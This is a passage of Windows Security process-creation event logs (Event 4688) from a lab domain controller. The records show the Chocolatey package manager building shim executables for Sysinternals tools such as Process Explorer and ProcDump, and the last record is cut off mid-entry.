TaskCategory=Process Creation
OpCode=Info
RecordNumber=246640
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xafc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE431.tmp" "c:\ProgramData\chocolatey\bin\CSC9E96C0F2D4654FB3A466F5E7E47E51E6.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246639
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x538
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xafc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246638
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xafc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pagedfrg.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_0833\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246682
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x994
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246681
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x994
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\procexp64.exe" --output="C:\ProgramData\chocolatey\bin\procexp64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\procexp64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246680
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x82c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd14
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEB07.tmp" "c:\ProgramData\chocolatey\bin\CSC56BD150FBE4749B6937CB4F09047B9C4.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246679
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdf0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd14
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246678
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd14
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\procexp.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_8333\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246677
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246676
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\procexp.exe" --output="C:\ProgramData\chocolatey\bin\procexp.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\procexp.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246675
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x530
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEA2C.tmp" "c:\ProgramData\chocolatey\bin\CSC218B7955A599494D99A51169C3980F9.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246674
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x60c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x530
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246673
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x530
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd68
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\procdump64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_6145\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246672
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd68
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246671
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd68
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\procdump64.exe" --output="C:\ProgramData\chocolatey\bin\procdump64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\procdump64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246670
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe68
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd58
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE951.tmp" "c:\ProgramData\chocolatey\bin\CSC811E816AD345441795744CE5DAC6EF8E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246669
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaec
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd58
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246668
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd08
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
